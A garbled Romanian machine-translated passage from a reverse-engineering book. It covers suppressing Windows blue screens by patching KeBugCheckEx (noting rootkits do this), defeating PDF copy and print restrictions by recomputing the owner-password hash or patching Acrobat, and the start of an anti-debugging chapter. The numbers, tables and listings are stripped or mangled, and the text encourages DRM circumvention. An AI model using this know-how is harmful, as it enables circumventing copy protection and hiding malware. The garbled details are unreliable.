contrar un ecran albastru clipește Să presupunem că „scurtăm” KeBugCheckEx, atunci ce? Nu ne-a fost dată nicio amintire și continuăm cu execuția normală, de parcă nimic nu s-ar fi întâmplat, referindu-ne la un pointer care indică nicăieri Există o întreagă cascadă de excepții secundare, toate structurile de date se transformă în praf, iar sistemul se prăbușește complet Concluzie Am supraviețuit și am învins BSOD - cea mai groaznică catastrofă, după care putem face totul! Desigur, nu este înțelept să practici această abordare pe un server, dar este destul de acceptabil pentru stațiile de lucru Apropo, unii viruși, viermi și rootkit-uri folosesc o tehnică similară pentru a-și masca prezența în sistem Un virus scris incorect poate provoca un ecran albastru, iar o intrare corespunzătoare va apărea în jurnalul de sistem pentru a ajuta administratorul să rezolve problema Dacă „faceți o punte” KeBugCheckEx, atunci computerul pur și simplu va încetini sau va îngheța fără motiv, dar nimic nu va apărea în jurnal! Capitolul Dezasamblarea fișierelor de alte formate Capitolele anterioare din această parte au acoperit dezasamblarea fișierelor PE pe și de biți, fișierelor ELF și nucleelor Linux și Windows, inclusiv câteva metode avansate de modificare a acestora pe disc și în memorie În acest capitol, care încheie Partea IV, ne vom uita la dezasamblarea altor formate de fișiere folosind formatul PDF ca exemplu Dezasamblarea fișierelor PDF Protecția proprietății intelectuale a luat recent forme din ce în ce mai nefirești și urâte, care contravin intereselor consumatorilor Deținătorii drepturilor de autor ne limitează capacitatea de a vizualiza, copia, tipări, edita informații, dar hackerii nu stau cu mâinile în brațe, construind baricade și alte mijloace de luptă Aici este momentul să facem o mică digresiune și să rețineți că hackerii normali nu sunt de fapt anarhiști deloc și departe de freeloaders Sunt gata să plătească și să sprijine dezvoltatorii de software foarte bun, autorii și artiștii preferați cu o rublă! Adevărat, există un „dar” Dorința de a se despărți de bani se evaporă imediat dacă deținătorul drepturilor de autor începe să dăuneze unui consumator legal care a cumpărat cu onestitate un produs, de exemplu, interzicând să imprime un document sau să copieze textul unei cărți electronice în clipboard Ei bine, de ce să o faci? Orice pirat va ocoli oricum o astfel de protecție, iar utilizatorii cinstiți se vor confrunta doar cu probleme și inconveniente Dar într-o perioadă în care cărțile de hârtie și rolele de bandă erau principalii purtători de informații, nimeni nu s-a gândit nici măcar să lupte cu consumatorii! Dimpotrivă, toată lumea dorea să ofere cât mai multe servicii, iar media digitală a fost una dintre ele Cărțile electronice, muzica și filmele în format mp /mp au făcut literalmente să arunce în aer lumea veche, inclusiv sistemul „vânzător-cumpărător” În loc să mergem la magazin, acum căutăm informațiile necesare pe Internet sau copiem fișiere de la prieteni Nu mai este posibil să faci comerț în vechiul mod în aceste condiții, iar magnații pieței nu vor să stăpânească noile tehnologii Profiturile magnaților din media scad rapid, iar pentru a-i păstra, în loc să satisfacă nevoile utilizatorilor, aceștia încep să acționeze în detrimentul lor, inventând din ce în ce mai multe noi protecții care ne limitează oportunitățile, facilitățile și drepturile Mijloacele tehnice vă permit să procesați informații rapid și eficient, dar lăcomia deținătorilor de drepturi de autor nu permite acest lucru Iar hackerii au acces gratuit la informații și, prin urmare, au folosit și vor continua să folosească toată puterea progresului tehnologic pentru a lucra cu documentele în modul în care le place și cum le este convenabil! La urma urmei, cunoașterea ne eliberează cu adevărat de lanțuri și lanțuri! În acest capitol, vom analiza cum să spargeți fișiere PDF securizate, care sunt folosite pentru a stoca și transmite o varietate de texte și servesc drept bază pentru cărți electronice Studierea structurii unor astfel de fișiere va arăta în mod clar ce mecanisme sunt folosite pentru a proteja Capitolul Dezasamblarea fișierelor de alte formate fișiere cu acest format și modul în care acestea pot fi ocolite folosind atât instrumentele disponibile, cât și potențialul dumneavoastră intelectual Atenţie Activitățile de acest fel sunt riscante și periculoase! Banii care se „învârtesc” în această afacere sunt suficienți pentru a-i determina pe deținătorii drepturilor de autor să te dea în judecată dacă începi să folosești informațiile furnizate aici în alte scopuri decât educaționale Este suficient să amintim cazul arestării fără precedent a lui Dmitri Sklyarov! Ce promite Adobe Acrobat nonconformiștilor Adobe Acrobat acceptă un sistem de criptare destul de flexibil, s-ar putea spune chiar ramificat, care vă permite să blocați selectiv atât accesul la funcțiile individuale (imprimare, editare, selectare și copiere), cât și la întregul fișier Sunt acceptate două parole independente - parola utilizatorului (parola utilizatorului sau parola U pe scurt) și parola proprietarului (parola utilizatorului sau parola O pe scurt) Dacă parola proprietarului nu este setată, atunci se folosește parola de utilizator, așa cum este de obicei cazul În plus, foarte adesea ambele parole coincid una cu cealaltă și, prin urmare, este suficient să cunoști doar una dintre ele pentru a lucra cu un document Parola U este folosită pentru a proteja documentul de vizionarea neautorizată Dacă este setat, atunci când deschidem un fișier PDF, vom vedea o casetă de dialog Parolă descurajatoare care necesită o parolă (Figura ) Documentul nu se va deschide până când nu este introdusă parola corectă începe | " PARTEA TREIA | INFO | I Chl doc - Microsoft ■ | ' j Multitrans - fraze ■ ■ | Adobe Acrobat « fS : :S Orez Casetă de dialog care solicită o parolă de utilizator, protejând documentul de vizionarea neautorizată Partea a IV-a Tehnici avansate de dezasamblare Fișierele protejate cu o parolă de utilizator sunt criptate cu algoritmi MD / RC suficient de puternici, așa că este imposibil să piratați un document exact așa Metoda de bază pentru criptarea fișierelor PDF este prezentată în Fig Versiunile timpurii de Adobe Acrobat foloseau criptare pe de biți, ușor ruptă de un atac cu forță brută asupra Pentium- Cu toate acestea, începând cu versiunea , a apărut suportul pentru chei pe - de biți, care nu mai pot fi deschise prin forță brută Cu toate acestea, criptoanaliza nu stă pe loc, iar de-a lungul timpului au apărut câteva atacuri eficiente care deschid cifrul într-un timp rezonabil Acestea vor fi discutate mai detaliat mai târziu în acest capitol (vezi secțiunea „U-Password Attack”) Criptare PDF Orez Principiul de bază al criptării PDF Principalul dezavantaj al parolelor de utilizator este, desigur, deschiderea lor După cum știți, mecanismele de apărare sunt împărțite în două tipuri: scheme construite pe cunoașterea unor informații secrete sau pe deținerea unui obiect unic Protecția Adobe Acrobat aparține primului tip, ceea ce înseamnă că suntem nevoiți să distribuim documentul împreună cu cheia, altfel nimeni nu îl va putea citi De exemplu, un editor vinde cărți electronice criptate trimițând parola prin e-mail Totul pare să fie în regulă, cu excepția faptului că, dacă cumpărătorul face publică parola, atunci toată lumea poate citi cartea Nu vei câștiga mulți bani făcând asta! Așa că a trebuit să modific formatul pdf Versiunile recente de Acrobat acceptă o varietate de licențe, certificate și alte mecanisme criptografice Acum parola poate fi introdusă nu numai de la tastatură, ci și extrasă în secret din fișierul certificatului sau chiar transmisă prin Internet Aceasta înseamnă că deținătorul drepturilor de autor ne poate forța să intrăm online de fiecare dată când deschidem un document sau să limităm durata de rulare a unui fișier la o anumită perioadă de timp Alternativ, parola poate fi generată de un dispozitiv electronic (de exemplu, o cheie HASP), iar fără ea documentul nu va putea fi citit Diverse cărți protejate, cum ar fi eBook, funcționează aproximativ în același mod În ciuda tuturor inovațiilor, soluția Adobe nu este încă lipsită de defecte Întregul truc este că, în căutarea profitului, Adobe nu a revizuit formatul pdf de bază, ci i-a adăugat doar un strat suplimentar de criptare (Fig ) Și asta înseamnă că la un moment dat este generată inevitabil o parolă U, pe care un hacker o poate intercepta și aminti! Nivelurile suplimentare de protecție vor scădea imediat Acest lucru a fost demonstrat pentru prima dată O prezentare generală a clasificării mecanismelor de apărare a fost oferită în Capitolul , Introducere în mecanismele de apărare Capitolul celebrul hacker rus Dmitri Sklyarov la conferința Defcon din Adobe Corporation, care a investit milioane de dolari în publicitate pentru cărți electronice, nu a putut accepta faptul că a dezvăluit micul său secret, care subminează încrederea editorilor și atrage miliarde de dolari în profituri pierdute S-a dovedit că formatul de cărți electronice nu este deloc la fel de fiabil precum este reclamat și este imposibil să investești în publicarea de cărți electronice Cu toate acestea, aceasta este o altă poveste Să revenim la subiectul în discuție - protejarea documentelor Adobe Acrobat Calculul unei chei intermediare pe baza identificatorilor hardware (ID-urilor hardware) Calcularea unei chei intermediare dintr-o copie oarbă Calculul cheii documentului Orez Diverse scheme de protecție pentru cărți electronice bazate pe PDF Orez Vizualizați proprietățile documentului care determină acțiunile permise cu acesta Cititorilor interesați li se poate recomanda și să citească cartea lui Dmitri Sklyarov: Sklyarov D „Arta protecției informațiilor și a hackingului” - Sankt Petersburg: BHV-Petersburg, Detalii despre impactul acestui raport pot fi găsite cu ușurință pe Internet De exemplu, aici sunt doar câteva link-uri: http://www pcweek ru/ IDs , http://security compulenta ru/ /, http://www vremya ru/ / / / html Partea a IV-a Tehnici avansate de dezasamblare Parola nu împiedică vizualizarea documentului, dar vă permite să controlați politica de interdicții, dintre care cea mai neplăcută este interzicerea selecției / copierii și tipăririi Ceva mai idiot decât aceste interdicții este greu de imaginat La urma urmei, este clar că dacă cineva își propune să pirateze un fișier pdf, atunci această măsură oricum nu-l va opri, dar utilizatorii cinstiți suferă Puteți afla ce restricții sunt impuse unui document dat vizualizând proprietățile acestuia Pentru a face acest lucru, din meniul Fișier, selectați opțiunea Document Security apoi faceți clic pe butonul Display Settings din fereastra deschisă Document Security (Fig ) Proprietățile de protecție afișate în această fereastră sunt descrise pe scurt în Tabelul Tabelul Limitări pentru documentele PDF Setare de securitate (Restricție) Descriere Pnnting (imprimare) Această opțiune vă permite să setați și să eliminați restricțiile privind tipărirea documentelor Setarea Nepermisă blochează complet tipărirea documentului Setarea de rezoluție scăzută vă permite să imprimați documentul, dar numai la o rezoluție scăzută, ceea ce va împiedica utilizatorii să recreeze originalul Fișier PDF prin scanarea și recunoașterea acestuia Permisul complet permite utilizatorilor să imprime documentul fără nicio restricție Asamblarea documentului Dacă această opțiune este permisă (permisă), atunci utilizatorii pot insera și șterge pagini ale documentului, pot crea marcaje și comenzi rapide (miniaturi) Suprafața sau extragerea conținutului Dacă această restricție este setată (nu este permisă), atunci utilizatorii nu pot copia și extrage selectiv conținutul documentului (atât text, cât și grafică) Extragerea conținutului pentru asamblare Dacă această restricție nu este permisă, utilizatorii pot extrage orice conținut din document care este folosit pentru a crea marcaje și comenzi rapide Comentarea Dacă această restricție nu este setată (permisă), atunci utilizatorii pot efectua toate acțiunile descrise în opțiunile menționate anterior, precum și pot introduce comentariile lor în document Completarea câmpurilor de formular Dacă această restricție nu este setată (permisă), atunci utilizatorul poate completa câmpurile de formular, dar nu poate crea propriile formulare Semnarea Dacă această restricție nu este setată (permisă), atunci utilizatorul poate introduce semnături digitale Crearea de pagini șablon Dacă această restricție nu este setată (permisă), atunci utilizatorii pot crea pagini șablon Dacă faceți clic pe butonul Afișați detalii, puteți afla câteva detalii, de exemplu, că aici se utilizează criptarea slabă (scăzută) pe de biți RC , iar parola pentru deschiderea documentului (parola U) nu este setată și acolo este doar o parolă pentru a controla interdicțiile (O-parola), numită și Parolă de permisiuni Pot fi depășite aceste limitări? Orice spune Adobe în broșurile sale, logica și intuiția hackerilor sugerează că, dacă un document poate fi deschis, atunci copiarea sau imprimarea conținutului acestuia este o chestiune de tehnologie, deoarece nu este criptat (altfel cum l-am putea deschide?) Respectarea interdicțiilor stabilite este doar o chestiune de integritate a aplicațiilor care lucrează cu acesta și în niciun caz o problemă criptografică Cu alte cuvinte, aceste restricții sunt aproximativ aceleași cu atributul Read-Only din fișier Nu împiedică deloc scrierile la nivel de sector, ci doar informează sistemul de fișiere că este mai bine să nu scrieți aici Cu PDF situația este aceeași Adobe Acrobat este conceput special pentru a nu imprima sau copia text decât dacă creatorul documentului Capitolul Dezasamblarea fișierelor de alte formate vrea Cu toate acestea, utilitățile de vizualizare terță parte se pot comporta diferit În primul rând, acest lucru este valabil pentru tot felul de convertoare (de exemplu, pdf în ps), care accidental sau voit „uită” să analizeze atributele de prohibiție, generând un fișier ps proaspăt copt cu care puteți face orice doriți (pentru de exemplu, convertiți înapoi în pdf „curățat” Puteți, de asemenea, să scrieți propriul utilitar de vizualizare (de exemplu, sub Linux sunt o duzină) Cu toate acestea, din punct de vedere istoric, majoritatea utilizatorilor preferă să vizualizeze fișierele PDF folosind Acrobat Cum să deblochezi interdicțiile? Există o legendă printre utilizatori că există un bit special în document, care este suficient pentru a-l remedia cu HIEW, iar apoi toate interdicțiile vor fi ridicate De fapt, acest lucru nu este în întregime adevărat, sau mai degrabă, deloc Nu există biți de imprimare/copiere și chiar sunt biți Întreaga problemă este că acestea sunt folosite pentru a genera o cheie criptată care este folosită pentru a decripta obiectele documentului Schimbați cel puțin un bit interzis, iar fișierul pdf va necesita imediat o parolă O la deschidere! Dar de unde îl cunoaștem? Parola O în sine nu este stocată nicăieri în document; în schimb, suma sa de control este acolo Este imposibil să restabiliți parola O originală, durează prea mult să o ghiciți Dar ce ne împiedică să eliminăm toate interdicțiile din document și apoi să calculăm o nouă sumă de control pentru parola O? La urma urmei, conținutul documentului nu este criptat, așa că nu trebuie să cunoști conținutul original pentru a schimba parola! Desigur, în HIEW această operațiune va fi destul de dificil de efectuat (ei bine, cu excepția cazului în care aveți un calculator în cap), dar puteți scrie un utilitar special care o va face pentru noi sau puteți utiliza o cheie principală gata făcută, din moment ce nu lipsesc Modificare Adobe Acrobat În loc să lupți cu parola O în interiorul fișierului pdf, poți pirata Acrobat-ul în sine, astfel încât să selecteze și să imprime întotdeauna totul, indiferent de orice interdicții Este chiar ușor de făcut Până la versiunea inclusiv, Adobe nu a luat măsuri anti-hacking - fără verificări de integritate a codului, fără tehnici anti-depanare, fără cod criptat Adevărat, începând cu versiunea , încă au apărut tehnici anti-debugging, iar eBook Reader este protejat de pachetul PACE IntelLock, care criptează codul și contracarează depanatorul, dar încă nu există nicio verificare a integrității acolo Inima apărării este centrată în jurul funcțiilor MD update și MD lnit, care sunt ușor de găsit în dezasamblator prin constantele caracteristice b, EFCDAB h, badcfeh și h Hacking cu PrintScreen Interdicția de a selecta/copiere imagini grafice poate fi ocolită cu ușurință folosind tasta , apăsând care copiază o copie a ecranului în clipboard Desigur, aceasta nu copiază întregul document, ci doar pagina deschisă și doar în rezoluția în care este afișat pe ecran (adică tot nu vom putea tipări o diagramă vectorială cu o rezoluție de ) DPI) Cu toate acestea, în majoritatea cazurilor, acest truc este suficient În același mod, puteți copia blocuri de text trăgându-le prin OCR (dacă, desigur, calitatea documentului o permite) Deveniți poligloți Învață limbi străine! Există multe traduceri ale cărților electronice pe Internet, ale căror originale în limba engleză nici măcar nu sunt disponibile în rețelele de partajare a fișierelor! Stii de ce? Da, pentru că luptătorii zeloși împotriva distribuirii neautorizate de cărți sunt prea leneși să învețe orice altă limbă decât a lor Deci, dacă, de exemplu, nu există original în engleză, nu contează, vom citi măcar în germană, măcar în franceză, măcar în spaniolă! De asemenea, învață chineză și japoneză Acest lucru este excelent pentru antrenamentul memoriei și extinderea orizontului Partea a IV-a Tehnici avansate de dezasamblare Structura fișierului PDF Contrar zvonurilor vagi că PDF este un format nedocumentat, nu este absolut necesar să dezasamblați Acrobat Reader insuportabil de greu pentru a restabili algoritmul de criptare Amintiți-vă că PDF înseamnă format de document portabil - adică format de document portabil A fost dezvoltat inițial ca un standard deschis, ceea ce explică popularitatea sa Nu suntem legați de un singur furnizor (Adobe) și suntem liberi să scriem propriile pachete software care deschid pdf chiar și pe un PC, chiar și pe un Mac, chiar și pe o stație de lucru precum Sun Toți algoritmii de criptare sunt documentați și descriși în detaliu în specificația formatului, care poate fi descărcată gratuit de pe site-ul web Adobe (http://www adobe com/devnet/pdf/pdf reference html) Alternativ, puteți consulta codul sursă pentru orice vizualizator PDF OpenSource Nu ar trebui să existe probleme în această etapă Pe scurt, un fișier pdf este o piesă de inginerie destul de complexă, care arată astfel: ::= Antetul (antetul) descrie diverse informații de serviciu și nu prezintă un interes deosebit, dar corpul fișierului (corpul) ar trebui luat în considerare mai detaliat Este alcătuit dintr-o succesiune de obiecte (obiect), identificate prin două numere - numărul obiectului (numărul obiectului) și numărul generației (numărul generației) În interior, obiectele constau din date de flux și un dicționar de flux Dicționarul descrie atributele datelor, explicând spectatorului care este conținutul specific: grafică, text sau fonturi, dacă sunt criptate sau nu și, dacă sunt criptate, prin ce algoritm etc Tabelul de referințe încrucișate asociază numerele obiectelor cu poziția lor în fișierul și este întotdeauna stocat într-o stare necriptată Structura schematică a unui fișier PDF este prezentată în Lista i Lista Reprezentarea schematică a structurii fișierului POE ::= tabel de referințe încrucișate> ::= { } :: ( | <> ) Sunt acceptate următoarele tipuri de date: constante booleene (boolean), numere (numerice), referințe la obiect (referință obiect), nume (nume), șiruri (șir) și fluxuri (flux) Fluxurile încep cu fluxul de cuvinte cheie și se termină cu fluxul de cuvinte cheie, cu date binare între ele Să deschidem orice document în HIEW pentru a le găsi (Figura ) Șirurile pot fi fie literale (adică formate din caractere imprimabile) fie hexazecimale Șirurile literale sunt incluse în paranteze: (acesta este un șir literal), iar șirurile hexazecimale sunt incluse între paranteze unghiulare: Șirurile și fluxurile pot fi criptate, dar alte tipuri de date nu Numele încep cu o bară oblică, aceeași care separă directoarele în UNIX (de exemplu, /ThisisName), referințele la obiect sunt indicate printr-o pereche de numere - numărul obiectului / generației, urmat de cuvântul cheie R (de exemplu, despre R ) Datele de diferite tipuri pot fi combinate într-o matrice (argau) sau într-un dicționar (dicționar) O matrice este cuprinsă între paranteze drepte (de exemplu, [ o R /xyz nuli]), iar un dicționar este închis între „ghilimele tipografice” (de exemplu, „/Nume (Vall) /Nume /Val ”) Acestea sunt informațiile minime pe care trebuie să le cunoașteți pentru lucrul la nivel scăzut cu un document PDF Principalele tipuri de date sunt descrise pe scurt în tabel Bine! Suntem destul de profund blocați în teorie, este timpul să începem exercițiile practice Luați orice fișier pdf (să fie http://www encode-sec com/pdfZesp pdf pentru certitudine) și încărcați-l în editorul dvs hex favorit Capitolul Dezasamblarea fișierelor de alte formate Orez Explorarea formatului pdf într-un editor hexadecimal Tabelul Tipuri de date de bază utilizate în documentele PDF Tip de date Exemplu Boolean Adevărat Numeric Referință obiect R Nume /ProcSet Șir (Conținut) * Flux {date binare}* Matrice [ R /XYZ nule] Dicționar „/Namel (Vall) /Name /Val ” Ca orice alt pdf, conține așa-numitul „dicționar final” (dicționar traiier), care, la rândul său, conține link-uri către cele mai importante obiecte ale documentului, inclusiv dicționarul de criptare (dicționar de criptare), care este prezent în orice fișier pdf criptat și fără de care fișierul nu poate fi deschis sau citit În ciuda numelui său, dicționarul final dintr-un document poate fi localizat în orice poziție (fie la început, fie la sfârșit) Este ușor de găsit după cuvântul cheie trailer, care este la început (în cazul nostru, este situat la offset ih), urmat de paranteze tipografice”, simbolizând dicționarul însuși Să aruncăm o privire, ce avem acolo? Un exemplu de conținut al dicționarului final al unui document PDF criptat este prezentat în Lista Partea a IV-a Tehnici avansate de dezasamblare Lista Conținutul estimat al dicționarului final al unui document POF criptat traiIer /Dimensiune % Numărul de obiecte din fișier /Info R % Referință la obiectul de informații /Encrypt R % Referință la un obiect dicționar de criptare /Root R % Link către obiectul „arborele paginii” /rgev %id - identificator opțional de obiect /ID[ ] Vedem o referință la obiectul de criptare cu numărul : /Encrypt o R (în alte fișiere pdf, acest număr va fi probabil diferit) Bine! Să-l căutăm cu HIEW (Listing ) Lista Dicționar de criptare care descrie algoritmul și atributele cifrului obs /Filtru /Standard /V /R /O (u\PA?O/ua-Oa?d?d VC-?a egWI a+O) /U (Z /R - /Lungime % descriptor de securitate standard % versiunea algoritmului de criptare % revizuirea algoritmului de criptare Parola proprietarului %xsh % hash parola utilizator Câmp % ban % lungime cheie de criptare endobj Câmpul numit /Filter specifică numele descriptorului de securitate care definește algoritmul de criptare În mod implicit, acesta este /standard, cu toate acestea, în prezența pluginurilor, sunt acceptate și alte filtre, dintre care aș dori să remarc următoarele: □ Rotl , dezvoltat de New Paradigm Resources Group (http://www nprg com) Un exemplar costă USD □ FileOpen este un filtru dezvoltat de FileOpen Systems (http://www fileopen com) Costul licenței este de USD □ SoftLock, dezvoltat de SoftLock Services (http://www softlock net) Rotl este prea scump și, în același timp, în mod clar nu merită banii care se cer pentru el, deoarece toate cheile pot fi găsite cu ușurință printr-o simplă căutare contextuală prin corpul pluginului Filtrul FileOpen este poziționat de dezvoltatori ca o „soluție completă și sigură de publicare electronică” În realitate, însă, acest lucru este departe de a fi cazul Filtrul FileOpen Publisher versiunea a criptat toate documentele folosind o singură cheie care a fost stocată direct în corpul pluginului și nu era un secret pentru hackeri Începând cu versiunea , FileOpen Publisher a început să folosească chei înlocuibile Cu toate acestea, documentul criptat conține toate informațiile necesare pentru a restabili instantaneu cheia secretă Filtrul SoftLock al serviciilor SoftLock merge puțin mai departe , cum folosește identificatorul de volum al discului (SoftlockID Number) pentru a genera cheia de criptare Parola introdusă de utilizator trebuie să se potrivească cu ID-ul SoftlockID secret al documentului PDF care se deschide Aceasta înseamnă că fișierul dvs nu va fi citit de cineva computerul altcuiva Editorii se bucură, iar hackerii între timp au spart cărți și despre trebuie sa le sparg! Cu o lungime efectivă a parolei de de biți, chiar și pe computere cu o viteză de ceas mai mică de GHz, aceasta este spartă de enumerarea „toncită” în mai puțin de Capitolul Dezasamblarea fișierelor de alte formate zi, iar atunci când se utilizează algoritmi optimizați, acesta este localizat aproape instantaneu Deci nu există o semnificație specială în toate filtrele non-standard În orice caz, deocamdată Cu toate acestea, în majoritatea covârșitoare a cazurilor, se folosește un filtru de tip standard, iar toate celelalte sunt extrem de rare Câmpul /v descrie algoritmul folosit de filtru pentru criptare Același filtru poate folosi mulți algoritmi diferiți, iar acest câmp vă permite să specificați cel necesar Filtrul standard folosește următoarele valori: □ - Algoritmul nu este documentat și nu mai este suportat □ - algoritm public de criptare cu lungimea cheii de de biți, de bază pentru toate documentele PDF □ - similar cu valoarea anterioară - același algoritm, dar cu o lungime a cheii mai mare de de biți Folosit în PDF + □ - algoritm nedocumentat întărit cu o lungime a cheii de la la de biți, utilizat în PDF + Nedocumentarea este cauzată de restricții de export în domeniul criptării Câmpul /R indică revizuirea (subversia) algoritmului de criptare În special, versiunea (/v ) a acceptat doar revizuirile și Câmpul /Length specifică dimensiunea cheii de criptare în biți (numărul trebuie să fie un multiplu de ) În acest caz, lungimea cheii de criptare este de , adică criptarea pe de biți este utilizată conform algoritmului de bază Desigur, toate aceste câmpuri sunt pur informative și nu ar trebui modificate Din faptul că reducem lungimea cheii de la de biți la, să zicem, , decriptarea documentului nu devine mai ușoară Câmpul /o este un șir de de octeți generat din parolele O și U Aceasta nu este parola în sine, ci doar hash-ul acesteia, folosită pentru a verifica dacă parola proprietarului este corectă Câmpul /u este un alt șir de de octeți generat din parola U și folosit pentru a valida parola utilizatorului Câmpul /p este un flag pe de biți responsabil pentru politica de acces a documentului, adică pentru distribuirea permisiunilor și interdicțiilor Este exact ceea ce avem nevoie! Fiecare bit, numerotat secvenţial de la la (bitul cel mai puţin semnificativ se află la adresa inferioară, adică totul este exact la fel ca în arhitectura x ), fiind resetat la zero, interzice una sau alta acţiune O scurtă descriere a biților acestui flag și a drepturilor de acces la documentul reglementat de acesta sunt date în Tabel Dar dacă încercați să setați toți biții la unul, câștigând autoritate maximă și eliminând toate interdicțiile? Indiferent cât de! Nimic nu va funcționa! Câmpul /p se încadrează sub călcâiul sumei hash, al cărei algoritm de generare va fi discutat pe scurt puțin mai târziu Deocamdată, să revenim la documentul nostru și să vedem ce restricții i se impun Indicatorul P conține valoarea - (minus ), care este egală cu FFC h în hexazecimal Dacă traducem acest număr în formă binară, obținem Acum să încercăm să ne dăm seama ce înseamnă acest număr Cei doi biți din dreapta sunt zero, așa cum ar trebui să fie Al treilea bit permite tipărirea (și tipărirea este într-adevăr permisă), dar toate celelalte operațiuni (inclusiv copierea textului în clipboard) sunt strict interzise Tabelul Atribuirea biților P-flag care specifică operațiunile care pot fi efectuate pe documentul PDF protejat Descriere biți - Rezervat și trebuie să fie Imprimarea unui document Începând de la revizuirea , calitatea imprimării depinde de setarea bitului Modificarea documentului prin alte operațiuni decât cele controlate de biții , și Partea a IV-a Tehnici avansate de dezasamblare Tabelul (sfârșit) Descriere biți Copiați conținutul Din versiunea copiați conținutul utilizând alte operațiuni decât cele controlate de bitul Inserați sau modificați adnotări, completați câmpurile de formular și, dacă bitul este setat, creați și modificați câmpurile de formular interactive (inclusiv câmpul de semnătură) - Rezervat și trebuie să fie egal cu Din revizuirea - completați câmpurile de formular interactive existente chiar dacă bitul este șters Extragere text și grafică cu opțiuni pentru utilizatorii cu deficiențe de vedere Din revizuirea - asamblarea documentului (inserare, ștergere, rotire a paginii și marcare), chiar dacă bitul este șters Imprimarea documentelor la rezoluție scăzută - Rezervat și trebuie să fie egal cu Generarea cheii de criptare Generarea cheii de criptare este un proces în mai mulți pași O descriere detaliată a algoritmului de criptare poate fi găsită în specificația pentru formatul PDF, link-ul către care am dat deja Aici, acest proces va fi discutat doar pe scurt Luați parola U și faceți-o exact de octeți Cu alte cuvinte, dacă lungimea parolei este mai mare de de octeți, atunci sunt utilizați numai primii de octeți Dacă lungimea parolei U este mai mică de de octeți, aceasta este completată cu de octeți, folosind numărul necesar de octeți suplimentari prelevați de la începutul rândului următor, codificati în corpul Acrobat: h BFh Eh EP Eh h Ah h h OOh Eh h FFh FAh Olh h Eh Eh OOh B h DOh h Eh h Fh OCh A h FEh h h h Cu alte cuvinte, dacă lungimea parolei este de N octeți (n /U » endobj Rețineți că câmpurile /o și /și sunt o matrice hexazecimală (specificația PDF permite acest lucru, dar nu toți crackerii PDF sunt conștienți de acest lucru) Deschide un astfel de fișier cu utilitarul tău preferat și vezi ce se întâmplă! Dar PDF Password Recovery COM SDK, spre deosebire de majoritatea utilităților similare, face față perfect acestei sarcini! În plus, acesta nu este un „lucru în sine” (cum ar fi un fișier exe), ci un SDK Cu alte cuvinte, este un kit de dezvoltare potrivit pentru încorporarea în propriile aplicații scrise în C, Delphi sau Visual Basic Aceasta este o abordare cu adevărat hackeră a afacerilor! Adevărat, ca toate celelalte programe, PDF Password Recovery COM SDK costă bani, iar versiunea demo salvează doar jumătate din pagini O serie de utilități funcționează într-un mod complet diferit În loc să implementeze propriul decodor PDF, ei deschid un fișier pdf (sau o carte electronică) prin Internet Explorer și „jefuiesc” conținutul decriptat într-un fișier pdf separat, fără restricții Desigur, ei nu sunt capabili să spargă o parolă U necunoscută, dar pot, de exemplu, „deslega” o carte electronică în format eBook de pe Internet dacă protecția sa primește în secret parola prin rețea Marea majoritate a pdf crackerelor nu acceptă filtre de criptare terță parte (cum ar fi FileOpen, SoftLock) Scrieți propriile utilitare pentru a le deschide! Mecanismele de apărare care restricționează libertatea de a difuza informații sunt un rău absolut cu care hackerii trebuie să-l combată prin orice mijloace disponibile Dar, pe de altă parte, apariția formatului eBook a dat naștere interesului editorilor de a distribui cărți în formă electronică, iar lumea a primit cărți electronice cu adevărat de înaltă calitate Prin urmare, este foarte important să găsiți un echilibru rezonabil - să spargeți cărțile în așa fel încât atât utilizatorii, cât și editorii să fie mulțumiți Este nevoie doar de puțin pentru a merge prea departe, iar deținătorii de drepturi de autor își vor pierde din nou orice interes față de formatul eBook În acest caz, tu și cu mine va trebui din nou să scanăm și să recunoaștem cărțile de hârtie, ceea ce, desigur, nu va mulțumi nimănui Partea a IV-a Tehnici avansate de dezasamblare Resurse interesante P „eBooks Security: Theory and Practice” - prezentarea lui Dmitri Sklyarov despre hacking-ul documentelor pdf și cărților electronice, prezentată de el la conferința DEF CON Nine hacker, - iunie (Alexis Park din Las Vegas, Nevada, SUA), conține o mulțime de informații tehnice și este clasificat ca Must Have (în engleză) Din păcate, este dificil să oferiți o legătură exactă, deoarece fișierul își schimbă în mod constant locația La pregătirea acestei cărți pentru publicare, acest material a fost găsit la următoarele adrese: http://www download ru/defcon ppt și http://www wwcn org/~grit/free/defcon elcomsoft pdf P „Cum funcționează criptarea PDF utilizând „Standard Security Handler” Adobe” (http://www cs cmu edu/~dst/Adobe/Gallery/anon jul -pdf-encryption txt) este o descriere concisă a principiilor de bază de criptare timpurie pdf conține o serie de erori și inexactități, așa că în cursul prezentării este necesar să verificați cu specificația companiei (în limba engleză) P „Adobe PDF Technology Center: PDF Reference” (http://www adobe com/devnet/pdf/pdf reference html) - o specificație PDF proprietară, conține literalmente totul (în engleză) PDF Password Recovery COM SDK Free Download (http://www shareup com/PDF Password Recovery COM SDK-download- html) este o bibliotecă de funcții de hacking pentru lucrul cu fișiere pdf criptate (în engleză) □ Elcomsoft (http://www elcomsoft com) — site-ul oficial al unei companii specializate în hacking diverse documente (în rusă și engleză): http://www elcomsoft com PARTEA V PRACTIC CODARE Capitolul Trucuri anti-depanare și ascunselea sub Windows și Linux Procedura de spargere a mecanismelor de securitate constă în trei etape principale: detectarea unui cod de securitate în sute de kilobytes (sau chiar megaocteți) a unui cod de aplicație protejat, analiza algoritmului de funcționare a acestuia și hacking Toate cele trei etape sunt la fel de importante De exemplu, fără a analiza principiile de funcționare ale mecanismului de protecție, este inutil să încerci să-l spargi Este posibil să se clasifice apărările în funcție de tipul de „etapă de poticnire” De exemplu, cifrurile și criptoprotecția se bazează pe a treia etapă - algoritmul muncii lor este de obicei disponibil public, bine documentat și, în cazul general, cunoscut unui hacker, dar acest lucru nu facilitează foarte mult hacking-ul (cu excepția faptului că simplifică scrierea unui enumerator frontal) Mecanismele numerelor de înregistrare, dimpotrivă, se concentrează pe ca algoritmul de generare să fie secret și să facă dificilă căutarea și analizarea acestuia în codul programului (totuși, cunoscând algoritmul, puteți scrie cu ușurință un generator de chei) Cu toate acestea, chiar dacă protecția este construită folosind metode criptografice, să zicem, criptează corpurile funcțiilor critice cu o metodă puternică din punct de vedere criptografic folosind o cheie lungă, poate fi „dezlegată” de cheie, de exemplu, prin copierea programului dump după decriptare Și mai ușor este să distribuiți programul împreună cu cheia (o tactică comună a piraților) Una dintre modalitățile de a preveni acest lucru este să puneți o legătură criptată către computer în cheie sau să verificați „puritatea” copiei prin Internet Acest lucru se poate face chiar și fără știrea utilizatorului, deși acest lucru este considerat o formă proastă Dar ce va împiedica un hacker care deține o 